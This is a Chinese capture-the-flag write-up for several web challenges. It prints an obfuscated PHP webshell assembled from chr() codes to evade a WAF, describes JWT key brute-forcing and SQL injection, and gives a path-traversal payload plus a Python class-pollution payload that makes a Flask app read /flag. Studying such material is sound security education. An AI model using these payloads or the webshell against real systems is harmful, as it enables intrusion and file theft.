本文最后更新于 2026年3月29日 下午
only real
非预期
直接看/flag.php就行
revenge
jwt爆破密钥伪造admin之后就可以上传图片,后端对文件类型没有校验,直接抓包修改文件后缀名,文件内容有WAF,我们使用ascii🐎
1 2 3 4 5 6 7 8
| <?= $func=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd=''; $cmd_chars=[99, 97, 116, 32, 47, 102, 108, 97, 103]; foreach($cmd_chars as $ascii){ $cmd.=chr($ascii); } @$func($cmd);
|
Broken Trust
一个登录界面,注册可以获取UID,进去发现有管理员工具,推测需要拿到管理员权限
查看源代码发现一个UID查询的api接口

测试SQL注入
成功查询到了admin的UID
管理员可以读取文件,我们用路径遍历读flag
1
| /api/admin?action=backup&file=....//....//....//....//flag
|
ez_python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from flask import Flask, request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class Config: def __init__(self): self.filename = "app.py"
class Polaris: def __init__(self): self.config = Config()
instance = Polaris()
@app.route('/', methods=['GET', 'POST']) def index(): if request.data: merge(json.loads(request.data), instance) return "Welcome to Polaris CTF"
@app.route('/read') def read(): return open(instance.config.filename).read()
@app.route('/src') def src(): return open(__file__).read()
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=False)
|
简单的原型链污染,直接污染config下的filename
1
| {"config":{"filename":"/flag"}}
|
访问/read即可
ezpollute
醉里挑灯看剑
AutoPypy